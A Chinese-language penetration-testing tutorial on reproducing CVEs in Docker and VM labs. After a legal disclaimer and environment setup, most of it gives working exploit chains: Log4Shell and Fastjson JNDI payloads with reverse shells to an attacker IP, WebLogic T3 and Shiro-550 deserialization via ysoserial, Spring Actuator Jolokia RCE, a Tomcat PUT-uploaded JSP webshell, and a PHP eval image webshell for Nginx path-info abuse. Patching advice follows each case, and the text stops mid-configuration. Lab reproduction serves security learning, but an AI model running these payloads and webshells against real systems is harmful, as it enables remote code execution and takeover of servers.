漏洞复现实战大全:CVE漏洞环境搭建与利用全流程详解

合规声明】本文所述漏洞复现技术仅用于授权测试、安全研究与学习交流,严禁用于任何非法用途。所有复现操作均在本地搭建的隔离靶场环境中进行。读者在使用本文所述技术前,请确保已获得目标系统的合法授权,并遵守所在国家/地区相关法律法规。未经授权对他人系统进行漏洞测试属于违法行为,作者不承担任何因不当使用本文内容而产生的法律责任。

一、前言:为什么要系统学习漏洞复现

漏洞复现是安全研究人员从理论走向实战的关键环节。很多初学者看完漏洞原理分析后,仍然停留在"知道是什么"的层面,无法真正掌握"怎么利用、怎么验证、怎么修复"。系统的漏洞复现训练能够帮助安全从业者:

  1. 深入理解漏洞成因:从代码层面到协议层面,还原漏洞触发全链路

  2. 掌握环境搭建能力:能够快速构建各类中间件、框架的漏洞环境

  3. 熟悉利用工具链:从POC编写到EXP利用的完整工具使用能力

  4. 积累实战经验:为真实渗透测试和漏洞挖掘打下坚实基础

本文不讲单个漏洞的原理细节,而是聚焦漏洞复现的完整流程和方法论,从环境搭建、漏洞验证、利用获取Shell到修复方案,形成一套可复用的复现工作流。

二、漏洞复现环境搭建

漏洞复现的第一步是搭建可控的漏洞环境。一个良好的靶场环境应该具备以下特点:环境隔离、可快速重建、覆盖漏洞类型全面、贴近真实生产配置。

2.1 Vulhub漏洞靶场框架使用

Vulhub是目前最流行的开源漏洞环境集合,基于Docker和Docker Compose,能够一键启动包含已知漏洞的各类应用环境,极大降低了漏洞复现的门槛。

2.1.1 环境准备

Vulhub依赖Docker和Docker Compose,需要先完成基础环境安装。以下以Ubuntu 22.04为例:

```bash

安装Docker

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

启动Docker服务并设置开机自启

systemctl start docker

systemctl enable docker

验证Docker安装

docker --version

docker run hello-world

安装Docker Compose(V2版本已集成到docker插件中)

方式一:使用apt安装docker-compose-plugin

apt-get update

apt-get install docker-compose-plugin

方式二:手动安装独立版本docker-compose

curl -L "https://github.com/docker/compose/releases/download/v2.20.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose

chmod +x /usr/local/bin/docker-compose

docker-compose --version

```

```bash

克隆Vulhub仓库

cd /opt

git clone https://github.com/vulhub/vulhub.git

cd vulhub

ls

```

2.1.2 Vulhub目录结构说明

Vulhub的目录结构按照"中间件/框架 -> 漏洞CVE编号"的方式组织,层次清晰:

```

vulhub/

├── log4j/ # 按组件分类

│ └── CVE-2021-44228/ # 按CVE编号分类

│ ├── docker-compose.yml # 环境编排文件

│ ├── README.md # 漏洞说明文档

│ └── ...

├── fastjson/

│ ├── 1.2.24-rce/

│ ├── 1.2.47-rce/

│ └── 1.2.80-rce/

├── weblogic/

│ ├── CVE-2018-2628/

│ ├── CVE-2017-10271/

│ └── CVE-2020-14882/

├── spring/

│ ├── CVE-2022-22965/

│ └── CVE-2022-22947/

├── nginx/

│ ├── CVE-2017-7529/

│ └── insecure-configuration/

└── ...

```

【提示】README.md文件中通常包含漏洞简介、影响版本、复现步骤和参考链接,复现前务必先阅读。

2.1.3 常用漏洞环境启动命令

Vulhub的启动命令高度统一,掌握一套命令即可复现大部分环境:

```bash

进入对应漏洞目录

cd /opt/vulhub/log4j/CVE-2021-44228

一键启动漏洞环境(后台运行)

docker-compose up -d

查看运行中的容器

docker-compose ps

docker ps

查看容器日志

docker-compose logs

docker logs <容器名>

查看容器端口映射,确认服务端口

docker-compose ps

docker port <容器名>

销毁环境(复现完成后务必清理)

docker-compose down -v

```

【注意】每次复现完成后务必执行 docker-compose down -v 清理环境,避免端口冲突和资源占用。多个环境同时运行可能导致端口冲突,建议一次只启动一个漏洞环境。

```bash

查看当前所有Docker资源占用

docker system df

清理所有停止的容器、悬空镜像和未使用网络

docker system prune -a --volumes

```

2.2 Vulapps靶场介绍

Vulapps是另一个基于Docker的漏洞环境集合,与Vulhub类似但收录的漏洞环境有所不同,可作为Vulhub的补充。

```bash

拉取Vulapps环境(以Struts2漏洞为例)

docker pull medicean/vulapps:s_struts2_s2-037

运行环境

docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-037

```

Vulapps的特点是通过Docker Hub直接分发镜像,使用简单但需要手动查找对应标签。

2.3 手动搭建漏洞环境

当Vulhub等靶场未收录目标漏洞时,需要手动搭建环境。手动搭建能够锻炼对应用部署架构的理解能力。

2.3.1 Dockerfile编写

以下是一个搭建存在漏洞的Tomcat环境的Dockerfile示例:

```dockerfile

基础镜像:使用JDK 8

FROM openjdk:8-jre-slim

设置环境变量

ENV CATALINA_HOME /usr/local/tomcat

ENV PATH CATALINA_HOME/bin:PATH

安装Tomcat 8.5.20(受CVE-2017-12615影响版本)

RUN mkdir -p "$CATALINA_HOME" \

&& cd /tmp \

&& apt-get update && apt-get install -y wget \

&& wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz \

&& tar -xzf apache-tomcat-8.5.20.tar.gz -C "$CATALINA_HOME" --strip-components=1 \

&& rm apache-tomcat-8.5.20.tar.gz

修改配置开启PUT方法(制造漏洞条件)

RUN sed -i 's/<servlet-name>default<\/servlet-name>/<servlet-name>default<\/servlet-name>/' $CATALINA_HOME/conf/web.xml \

&& sed -i '/<servlet-name>default<\/servlet-name>/,/<\/servlet>/s|readonly</param-value>|readonly</param-value>|' $CATALINA_HOME/conf/web.xml

EXPOSE 8080

CMD "catalina.sh", "run"

```

2.3.2 Docker Compose编排多组件环境

实际漏洞复现中,很多环境需要多组件配合,例如Web应用+数据库+缓存服务。Docker Compose能够编排这些服务:

```yaml

version: '3'

services:

Web应用服务

webapp:

build: ./webapp

ports:

  • "8080:8080"

depends_on:

  • mysql

  • redis

environment:

  • DB_HOST=mysql

  • DB_PORT=3306

  • REDIS_HOST=redis

networks:

  • vuln_net

MySQL数据库服务

mysql:

image: mysql:5.7

environment:

MYSQL_ROOT_PASSWORD: root123

MYSQL_DATABASE: vulnapp

ports:

  • "3306:3306"

networks:

  • vuln_net

Redis缓存服务

redis:

image: redis:5.0

ports:

  • "6379:6379"

networks:

  • vuln_net

networks:

vuln_net:

driver: bridge

```

```bash

构建并启动多组件环境

docker-compose up -d --build

查看服务状态

docker-compose ps

```

2.3.3 Docker镜像搜索与使用

Docker Hub和各类镜像仓库是获取漏洞环境的重要来源:

```bash

搜索Docker Hub上的漏洞靶场镜像

docker search dvwa

docker search sqli-labs

docker search webgoat

拉取DVWA靶场

docker pull vulnerables/web-dvwa

运行DVWA

docker run -d -p 80:80 vulnerables/web-dvwa

拉取sqli-labs

docker pull acgpiano/sqli-labs

docker run -d -p 80:80 acgpiano/sqli-labs

```

2.4 虚拟机靶场搭建

部分漏洞环境(尤其是系统级漏洞、内网渗透靶场)需要完整的操作系统环境,此时虚拟机是更好的选择。

2.4.1 VMware/VirtualBox安装配置

VMware Workstation和VirtualBox是两款主流虚拟化软件:

```text

VMware Workstation Pro:

VirtualBox:

```

2.4.2 靶机VM下载资源列表

以下是常用的靶机虚拟机资源,用于漏洞复现和渗透练习:

| 靶机名称 | 下载地址 | 适用场景 | 难度 |

|---------|---------|---------|------|

| Metasploitable2 | https://sourceforge.net/projects/metasploitable/ | Linux漏洞复现入门 | 初级 |

| Metasploitable3 | https://github.com/rapid7/metasploitable3 | Windows/Linux综合漏洞 | 中级 |

| VulnHub系列 | https://www.vulnhub.com/ | 各类CTF风格靶机 | 初-高级 |

| OWASP Broken Web Apps | https://sourceforge.net/projects/owaspbwa/ | Web漏洞综合练习 | 初级 |

| HackTheBox | https://www.hackthebox.com/ | 在线渗透靶场 | 中-高级 |

| TryHackMe | https://tryhackme.com/ | 在线引导式学习 | 初-中级 |

| PentesterLab | https://www.pentesterlab.com/ | 结构化漏洞练习 | 中级 |

2.4.3 网络隔离配置建议

漏洞复现环境必须与生产网络和互联网隔离,防止漏洞利用过程中意外影响外部系统:

```text

网络隔离方案:

  1. 仅主机模式(Host-Only):虚拟机只能与宿主机通信,完全隔离外网

  2. NAT模式:虚拟机可访问外网但外部无法主动访问虚拟机(更新系统时使用)

  3. 内部网络模式:多台虚拟机之间通信,完全与宿主机隔离

推荐配置:

  • 攻击机:Kali Linux,使用NAT模式(需下载工具)或Host-Only模式

  • 靶机:使用Host-Only模式,与攻击机在同一网段

  • 不建议将漏洞靶场暴露到公网,避免被他人利用

```

【警告】绝对不要将包含已知漏洞的靶场环境部署在公网服务器上。即使用于学习目的,公网上的漏洞环境也可能被恶意攻击者利用作为跳板,造成严重法律后果。

2.5 常用靶场平台对比表

| 平台名称 | 部署方式 | 漏洞覆盖 | 适用场景 | 优势 | 劣势 |

|---------|---------|---------|---------|------|------|

| Vulhub | Docker Compose | 中间件/框架CVE | 快速复现特定CVE | 一键启动、更新快 | 不含系统漏洞 |

| Vulapps | Docker镜像 | Web中间件 | 补充Vulhub | 使用简单 | 更新较慢 |

| DVWA | Docker/虚拟机 | Web基础漏洞 | 入门学习 | 经典全面 | 漏洞较旧 |

| Pikachu | Docker/虚拟机 | Web基础漏洞 | 入门练习 | 中文友好 | 漏洞较基础 |

| Upload-labs | Docker/源码 | 文件上传专项 | 上传漏洞专项 | 覆盖全面 | 单一类型 |

| sqli-labs | Docker/源码 | SQL注入专项 | 注入专项练习 | 75关覆盖全 | 单一类型 |

| WebGoat | Docker/JAR | Web综合 | Java安全学习 | 结构化课程 | 环境较重 |

| HackTheBox | 在线平台 | 综合 | 实战能力提升 | 贴近真实环境 | 需要VPN |

| TryHackMe | 在线平台 | 综合+引导 | 新手入门 | 引导式学习 | 部分付费 |

三、Web漏洞复现实战

本节通过多个高危害CVE漏洞的完整复现流程,演示从环境搭建到获取Shell的全过程。每个复现案例都包含详细的操作步骤和可执行的命令。

3.1 复现一:Apache Log4j2 RCE(CVE-2021-44228)完整流程

3.1.1 漏洞影响版本说明

CVE-2021-44228(Log4Shell)是2021年最严重的漏洞之一,影响Apache Log4j 2.0-beta9至2.14.1版本。该漏洞源于Log4j2的JNDI注入特性,攻击者只需控制日志内容即可触发远程代码执行。

```text

受影响版本:Apache Log4j 2.0-beta9 ~ 2.14.1

不受影响版本:Apache Log4j 2.15.0及以上(2.16.0彻底移除JNDI支持)

影响范围:所有使用受影响Log4j2版本的应用(Spring Boot、Struts2、Solr、ElasticSearch等)

```

3.1.2 Vulhub启动命令

```bash

cd /opt/vulhub/log4j/CVE-2021-44228

启动漏洞环境

docker-compose up -d

查看服务端口

docker-compose ps

默认映射端口为8983(Solr服务)

```

启动后访问 http://靶机IP:8983/solr/ 可看到Solr管理界面,该Solr服务使用了存在漏洞的Log4j2版本。

3.1.3 JNDI注入利用工具marshalsec搭建LDAP服务

Log4j2漏洞利用需要搭建恶意的LDAP/RMI服务,marshalsec是最常用的JNDI注入利用工具:

```bash

下载marshalsec(需要Java 8和Maven环境)

cd /opt

git clone https://github.com/mbechler/marshalsec.git

cd marshalsec

编译marshalsec

mvn clean package -DskipTests

编写恶意利用类

cat > Exploit.java << 'EOF'

public class Exploit {

static {

try {

Runtime.getRuntime().exec(new String\[\]{"/bin/bash", "-c", "bash -i >& /dev/tcp/攻击机IP/4444 0>&1"});

} catch (Exception e) {

e.printStackTrace();

}

}

}

EOF

编译恶意类(注意:需要使用Java 8编译,高版本JDK可能不兼容)

javac Exploit.java

在恶意类所在目录启动HTTP服务(默认端口8000)

python3 -m http.server 8000

```

```bash

使用marshalsec启动恶意LDAP服务,指向HTTP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://攻击机IP:8000/#Exploit"

默认监听1389端口

```

3.1.4 构造恶意payload触发漏洞

在攻击机上先开启监听,然后使用Log4j2的JNDI注入payload触发漏洞:

```bash

攻击机开启反弹Shell监听

nc -lvnp 4444

```

```bash

构造JNDI注入payload,通过Solr的搜索接口触发

payload格式:${jndi:ldap://攻击机IP:1389/Exploit}

方式一:使用curl触发(通过Solr搜索参数)

curl "http://靶机IP:8983/solr/admin/cores?action=\\${jndi:ldap://攻击机IP:1389/Exploit}"

方式二:通过HTTP Header触发(很多应用记录User-Agent等头信息)

curl -H "X-Api-Version: \${jndi:ldap://攻击机IP:1389/Exploit}" http://靶机IP:8983/

方式三:通过User-Agent触发

curl -A "\${jndi:ldap://攻击机IP:1389/Exploit}" http://靶机IP:8983/

```

【注意】在bash中,{}会被shell解释为变量,需要使用反斜杠转义:\\{jndi:...}。如果使用单引号包裹整个URL则不需要转义。

3.1.5 获取Shell完整步骤

完整的利用流程分为四个步骤,需要在攻击机上同时开启三个终端:

```text

终端1:开启反弹Shell监听

nc -lvnp 4444

终端2:启动恶意HTTP服务(提供Exploit.class下载)

cd /opt/marshalsec

python3 -m http.server 8000

终端3:启动恶意LDAP服务(重定向到HTTP服务)

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://攻击机IP:8000/#Exploit"

```

然后在任意终端发送触发payload:

```bash

curl "http://靶机IP:8983/solr/admin/cores?action=\\${jndi:ldap://攻击机IP:1389/Exploit}"

```

触发流程:靶机Log4j2记录payload -> 解析JNDI表达式 -> 连接攻击机LDAP服务 -> LDAP返回恶意类HTTP地址 -> 靶机下载并加载Exploit.class -> 执行static代码块 -> 反弹Shell到攻击机。

3.1.6 漏洞原理简要说明与修复方案

```text

漏洞原理:

Log4j2在记录日志时,会解析日志内容中的{}表达式。当日志中包含{jndi:ldap://...}时,

Log4j2会向指定LDAP服务器发起请求,LDAP服务器返回的Java类会被加载执行,从而导致RCE。

关键问题在于日志内容可被用户控制,且JNDIlookup功能未做任何限制。

修复方案:

  1. 升级Log4j2到2.17.1及以上版本(彻底修复)

  2. 临时缓解:设置JVM参数 log4j2.formatMsgNoLookups=true

  3. 临时缓解:删除JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

  4. WAF规则:拦截请求中包含 ${jndi: 的内容(注意各种绕过变体)

```

3.2 复现二:Fastjson反序列化RCE完整流程

3.2.1 漏洞版本与autoType机制说明

Fastjson是阿里巴巴开源的JSON解析库,其反序列化漏洞核心在于autoType机制。当autoType开启时,Fastjson可以根据JSON中的@type字段指定任意Java类进行反序列化,攻击者利用此特性可加载恶意类实现RCE。

```text

主要漏洞版本:

  • Fastjson <= 1.2.24:autoType默认开启,无任何限制

  • Fastjson 1.2.25 ~ 1.2.47:加入黑名单但可绕过(1.2.47通杀绕过)

  • Fastjson 1.2.48 ~ 1.2.68:修复绕过但仍有利用方式

  • Fastjson >= 1.2.69:默认关闭autoType,安全性提升

```

3.2.2 搭建恶意RMI/LDAP服务

利用ysoerial工具生成恶意类并通过RMI服务提供:

```bash

下载ysoerial

cd /opt

git clone https://github.com/frohoff/ysoserial.git

cd ysoserial

mvn clean package -DskipTests

使用JNDI-Injection-Exploit工具(更方便的JNDI利用工具)

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

cd JNDI-Injection-Exploit

mvn clean package -DskipTests

```

```bash

使用JNDI-Injection-Exploit生成并启动恶意服务

-C 参数指定要执行的命令

-A 参数指定攻击机IP

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "攻击机IP"

```

【提示】命令需要base64编码以避免特殊字符问题。生成bash -i >& /dev/tcp/IP/PORT 0>&1的base64编码可以使用:echo 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1' | base64

3.2.3 构造JSON payload利用TemplatesImpl加载恶意类

```bash

开启反弹Shell监听

nc -lvnp 4444

```

Fastjson 1.2.24的利用payload(通过JdbcRowSetImpl类发起JNDI请求):

```json

{

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://攻击机IP:1099/Exploit",

"autoCommit":true

}

}

```

Fastjson 1.2.47通杀绕过payload(利用缓存机制绕过autoType检查):

```json

{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"ldap://攻击机IP:1389/Exploit",

"autoCommit":true

}

}

```

利用TemplatesImpl直接加载恶意字节码(不依赖外部JNDI服务):

```json

{

"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",

"_bytecodes":"\",

"_name":"a.b",

"_tfactory":{},

"_outputProperties":{}

}

```

3.2.4 获取Shell完整步骤

```bash

完整利用流程

步骤1:启动恶意LDAP/RMI服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,<base64>}|{base64,-d}|{bash,-i}" -A "攻击机IP"

步骤2:开启反弹Shell监听

nc -lvnp 4444

步骤3:发送恶意JSON payload到目标Fastjson接口

curl -X POST "http://靶机IP:8090/" \

-H "Content-Type: application/json" \

-d '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击机IP:1389/Exploit","autoCommit":true}}'

```

【注意】Fastjson漏洞利用受目标JDK版本影响。JDK 8u191及以上版本默认禁止远程类加载(com.sun.jndi.ldap.object.trustURLCodebase=false),此时需要利用本地Gadget链(如TemplatesImpl)或高版本JDK绕过技术。

3.3 复现三:WebLogic反序列化漏洞复现

3.3.1 T3协议漏洞概述

WebLogic是Oracle公司的Java EE应用服务器,其T3协议在反序列化过程中存在多个高危漏洞。攻击者通过向WebLogic的T3服务端口(默认7001)发送恶意序列化数据,可触发反序列化漏洞导致RCE。

```text

主要CVE编号:

  • CVE-2015-4852:WebLogic T3反序列化漏洞(首个)

  • CVE-2017-3248:T3协议反序列化(JRMP绕过)

  • CVE-2018-2628:T3协议反序列化

  • CVE-2019-2725:wls9-async组件反序列化

  • CVE-2020-2551:IIOP协议反序列化

  • CVE-2020-14882:控制台路径穿越+远程代码执行

```

```bash

启动Vulhub中的WebLogic漏洞环境

cd /opt/vulhub/weblogic/CVE-2018-2628

docker-compose up -d

查看端口映射

docker-compose ps

默认端口7001

```

3.3.2 利用weblogic_tool/python exploit脚本

```bash

下载WebLogic漏洞利用工具

cd /opt

git clone https://github.com/r4b3rt/PyWeblogic.git

使用Python exploit脚本检测漏洞

python3 weblogic_t3.py 靶机IP 7001

使用weblogic_tool进行利用(图形化工具)

下载地址:https://github.com/Y4er/weblogic-framework

git clone https://github.com/Y4er/weblogic-framework.git

cd weblogic-framework

go build -o weblogic-framework main.go

```

使用ysoerial配合JRMP协议利用WebLogic T3反序列化漏洞:

```bash

步骤1:使用ysoerial启动恶意JRMP服务

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 Jdk7u21 "bash -c {echo,<base64>}|{base64,-d}|{bash,-i}"

步骤2:使用exploit脚本将恶意JRMP地址通过T3协议发送给WebLogic

python3 exploit.py 靶机IP 7001 攻击机IP 9999

```

3.3.3 获取Shell流程

```bash

完整利用流程

终端1:开启反弹Shell监听

nc -lvnp 4444

终端2:启动恶意JRMP监听服务

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"

终端3:发送T3协议利用payload

python3 exploit.py 靶机IP 7001 攻击机IP 9999

```

WebLogic漏洞利用成功后,会在靶机上执行反弹Shell命令,攻击机终端1即可获得WebLogic运行权限的Shell。

```text

修复方案:

  1. 及时安装Oracle官方补丁

  2. 限制T3协议访问:配置WebLogic连接过滤器

  3. 升级到最新版本WebLogic

  4. 如不需要,禁用wls9-async等组件

```

3.4 复现四:Apache Shiro反序列化(Shiro-550 CVE-2016-4437)

3.4.1 rememberMe参数分析

Apache Shiro是一个Java安全框架,提供认证、授权、加密和会话管理功能。Shiro-550漏洞存在于Shiro的rememberMe功能中,该功能使用Cookie记住用户登录状态。

```text

漏洞原理:

Shiro在处理rememberMe Cookie时,流程如下:

  1. 读取Cookie中的rememberMe值

  2. 使用AES密钥进行Base64解码和AES解密

  3. 对解密后的数据进行反序列化

关键问题:Shiro 1.2.4及以下版本使用硬编码的AES密钥(kPH+bIxk5D2deZiIxcaaaA==),

攻击者知道密钥后可以构造恶意的序列化数据,加密后放入rememberMe Cookie,

Shiro解密后反序列化触发RCE。

```

```bash

启动Vulhub中的Shiro漏洞环境

cd /opt/vulhub/shiro/CVE-2016-4437

docker-compose up -d

默认端口8080

```

3.4.2 AES密钥识别与利用

Shiro-550的关键在于AES密钥。默认密钥是已知的,但生产环境中可能被修改,需要识别实际使用的密钥:

```python

shiro_key_check.py - Shiro AES密钥检测脚本

import base64

import uuid

import requests

import subprocess

from Crypto.Cipher import AES

常见Shiro密钥列表

keys = [

"kPH+bIxk5D2deZiIxcaaaA==", # 默认密钥

"wGiHplamyXlVB11UXWol8g==",

"2AvVhdsgUs0FSA3SDFAdag==",

"Z3VucwAAAAAAAAAAAAAAAA==",

"fCq+/xW488hxxCDckcLW/rw==",

"4AvVhmFLUs0KTA3Kprsdag==",

"WcfHgH4QSoGXGeSV202gUw==",

]

生成检测Payload(序列化一个不存在的方法调用)

def get_payload(key):

使用ysoserial生成URLDNS payload用于探测

popen = subprocess.Popen(

'java', '-jar', 'ysoserial.jar', 'URLDNS', 'http://your-dnslog.cn/' + str(uuid.uuid4()),

stdout=subprocess.PIPE

)

payload = popen.stdout.read()

AES-CBC加密

bs = AES.block_size

iv = uuid.uuid4().bytes

cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv)

padding = bs - len(payload) % bs

payload += bytes(padding) * padding

encrypted = iv + cipher.encrypt(payload)

return base64.b64encode(encrypted).decode()

检测密钥

for key in keys:

payload = get_payload(key)

headers = {

"Cookie": "rememberMe=" + payload,

"User-Agent": "Mozilla/5.0"

}

try:

r = requests.get("http://靶机IP:8080/", headers=headers, timeout=5)

if "deleteMe" not in r.headers.get("Set-Cookie", ""):

print(f"+ 发现有效密钥: {key}")

break

else:

print(f"- 密钥无效: {key}")

except Exception as e:

print(f"! 请求异常: {e}")

```

【提示】Shiro在解密失败或反序列化失败时会在Set-Cookie中返回deleteMe,利用这一特征可以判断密钥是否正确。

3.4.3 使用ShiroExp工具利用流程

ShiroExp是图形化的Shiro漏洞利用工具,集成了密钥探测和漏洞利用功能:

```text

ShiroExp利用步骤:

  1. 下载ShiroExp工具

  2. 填写目标URL:http://靶机IP:8080/

  3. 点击"检测密钥"功能,自动遍历常见密钥

  4. 密钥识别成功后,选择利用Gadget(CommonsBeanutils1、CommonsCollections等)

  5. 填写要执行的命令或反弹Shell地址

  6. 点击"执行"生成rememberMe Cookie

  7. 将Cookie注入浏览器或使用curl发送

```

使用命令行方式利用Shiro-550:

```bash

步骤1:使用ysoerial生成CommonsBeanutils1的payload

java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,<base64>}|{base64,-d}|{bash,-i}" > payload.bin

步骤2:使用ShiroExploit工具加密payload

python3 shiro_exploit.py -t http://靶机IP:8080/ -k "kPH+bIxk5D2deZiIxcaaaA==" -f payload.bin

步骤3:使用生成的Cookie访问目标

curl -b "rememberMe=<生成的Cookie值>" http://靶机IP:8080/

```

```bash

完整流程

nc -lvnp 4444

然后发送上述curl请求,即可获得反弹Shell

```

```text

修复方案:

  1. 升级Shiro到1.2.5及以上版本(使用随机生成的AES密钥)

  2. 配置自定义AES密钥:securityManager.rememberMeManager.cipherKey

  3. 升级依赖的Commons-Collections等组件到安全版本

```

3.5 复现五:Spring Boot Actuator漏洞复现

3.5.1 /env端点信息泄露

Spring Boot Actuator提供了生产级别的监控和管理端点,如果配置不当导致端点暴露,可造成敏感信息泄露甚至RCE。

```bash

启动Vulhub中的Spring Boot Actuator漏洞环境

cd /opt/vulhub/spring/CVE-2022-22965

docker-compose up -d

```

```bash

访问/env端点,查看环境配置信息(可能包含数据库密码、密钥等)

curl http://靶机IP:8090/actuator/env

查看所有可用的Actuator端点

curl http://靶机IP:8090/actuator

```

/env端点返回的信息示例:

```json

{

"propertySources": [

{

"name": "systemEnvironment",

"properties": {

"DB_PASSWORD": {

"value": "******"

},

"REDIS_PASSWORD": {

"value": "redis123"

}

}

}

]

}

```

3.5.2 /refresh端点利用

```bash

通过/env端点修改环境变量(配合/refresh刷新)

步骤1:通过POST /env修改Spring属性

curl -X POST "http://靶机IP:8090/actuator/env" \

-H "Content-Type: application/json" \

-d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://攻击机IP:8888/"'

步骤2:刷新配置使其生效

curl -X POST "http://靶机IP:8090/actuator/refresh"

```

3.5.3 /jolokia漏洞利用RCE

当Actuator暴露了/jolokia端点且环境中存在可利用的MBean时,可通过JMX实现RCE:

```bash

查看Jolokia可用的MBean列表

curl http://靶机IP:8090/actuator/jolokia/list

利用logback MBean加载远程XML配置实现RCE

步骤1:在攻击机上准备恶意XML文件

cat > malicious.xml << 'EOF'

<configuration>

<insertFromJNDI env-entry-name="ldap://攻击机IP:1389/Exploit" as="..." />

</configuration>

EOF

python3 -m http.server 8888

步骤2:通过Jolokia调用logback的reloadByURL方法

curl -X POST "http://靶机IP:8090/actuator/jolokia" \

-H "Content-Type: application/json" \

-d '{

"type": "EXEC",

"mbean": "ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator",

"operation": "reloadByURL",

"arguments": "http://攻击机IP:8888/malicious.xml"

}'

```

```text

修复方案:

  1. 禁用或限制Actuator端点:management.endpoints.web.exposure.include=health

  2. 不在生产环境暴露/env、/jolokia等敏感端点

  3. 为Actuator端点配置认证:management.security.enabled=true

  4. 升级Spring Boot到安全版本

```

四、中间件漏洞复现实战

中间件漏洞是渗透测试中的重点攻击面,本节复现常见的中间件高危漏洞。

4.1 复现六:Tomcat PUT方法任意文件上传(CVE-2017-12615)

4.1.1 漏洞原理与影响版本

```text

漏洞原理:

Tomcat的DefaultServlet配置了readonly=false时,允许通过PUT方法上传文件。

攻击者可上传JSP文件获取Webshell。某些版本中即使配置了readonly=true,

也可通过特殊文件名绕过(如shell.jsp/利用Windows路径特性)。

影响版本:

  • Apache Tomcat 7.0.0 ~ 7.0.79(PUT方法直接上传)

  • Apache Tomcat 7.0.0 ~ 7.0.81(特殊文件名绕过)

  • Windows平台影响范围更广(NTFS特性绕过)

```

4.1.2 利用PUT方法上传JSP Webshell

```bash

启动Vulhub中的Tomcat漏洞环境

cd /opt/vulhub/tomcat/CVE-2017-12615

docker-compose up -d

默认端口8080

```

```bash

方式一:直接PUT上传JSP文件(Tomcat 7.0.79及以下)

curl -X PUT "http://靶机IP:8080/shell.jsp" \

-H "Content-Type: application/octet-stream" \

-d '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'

方式二:利用文件名绕过(Tomcat 7.0.81)

Windows平台:使用shell.jsp%20或shell.jsp::$DATA

curl -X PUT "http://靶机IP:8080/shell.jsp " \

-H "Content-Type: application/octet-stream" \

-d '<%out.println("test");%>'

方式三:利用路径穿越特性

curl -X PUT "http://靶机IP:8080/shell.jsp/" \

-H "Content-Type: application/octet-stream" \

-d '<%out.println("test");%>'

```

4.1.3 完整curl命令示例

```bash

完整利用流程:上传Webshell并执行命令

步骤1:上传Webshell

curl -X PUT "http://靶机IP:8080/cmd.jsp/" \

-H "Content-Type: application/octet-stream" \

-d '<%

String cmd = request.getParameter("cmd");

Process p = Runtime.getRuntime().exec(new String\[\]{"/bin/bash", "-c", cmd});

java.io.InputStream is = p.getInputStream();

byte\[\] b = new byte2048;

int len;

while ((len = is.read(b)) != -1) {

out.write(new String(b, 0, len));

}

%>'

步骤2:访问Webshell执行命令

curl "http://靶机IP:8080/cmd.jsp?cmd=id"

curl "http://靶机IP:8080/cmd.jsp?cmd=whoami"

curl "http://靶机IP:8080/cmd.jsp?cmd=cat+/etc/passwd"

步骤3:获取反弹Shell

curl "http://靶机IP:8080/cmd.jsp?cmd=bash+-c+\\"bash+-i+\>%26+/dev/tcp/攻击机IP/4444+0\>%261\\""

```

```text

修复方案:

  1. 升级Tomcat到安全版本(7.0.82+)

  2. 确保web.xml中DefaultServlet的readonly参数设置为true

  3. 限制PUT、DELETE等HTTP方法

  4. 配置WAF拦截JSP文件上传

```

4.2 复现七:Nginx解析漏洞复现

4.2.1 CGI PATH_INFO解析问题

```text

漏洞原理:

当Nginx配置了将PHP请求转发给FastCGI处理时,如果配置中使用以下方式:

location ~ \.php$ {

fastcgi_pass 127.0.0.1:9000;

fastcgi_param SCRIPT_FILENAME document_rootfastcgi_script_name;

}

当请求/test.jpg/x.php时,Nginx将请求转发给PHP-FPM,

PHP-FPM的cgi.fix_pathinfo=1时,会将不存在的x.php回退到test.jpg,

并将其作为PHP代码执行,导致图片马被解析为PHP脚本。

```

```bash

启动Vulhub中的Nginx解析漏洞环境

cd /opt/vulhub/nginx/insecure-configuration

docker-compose up -d

```

4.2.2 上传图片马配合解析漏洞获取Shell

```bash

步骤1:制作图片马(将PHP代码嵌入图片)

在正常图片文件末尾追加PHP代码

echo '<?php @eval($_POST"cmd");?>' >> normal.jpg

或使用GIF文件头绕过

printf 'GIF89a<?php @eval($_POST"cmd");?>' > shell.gif

步骤2:通过文件上传功能将图片马上传到服务器

curl -X POST "http://靶机IP:8080/upload.php" \

-F "file=@shell.gif"

步骤3:利用Nginx解析漏洞触发PHP执行

假设图片上传后的路径为 /upload/shell.gif

curl "http://靶机IP:8080/upload/shell.gif/.php"

步骤4:使用蚁剑/菜刀连接Webshell

URL: http://靶机IP:8080/upload/shell.gif/.php

密码: cmd

```

```text

修复方案:

  1. 设置 cgi.fix_pathinfo=0(PHP 5.3.9+)

  2. 修改Nginx配置,精确匹配PHP文件:

location ~ \.php$ {

try_files $uri =404;

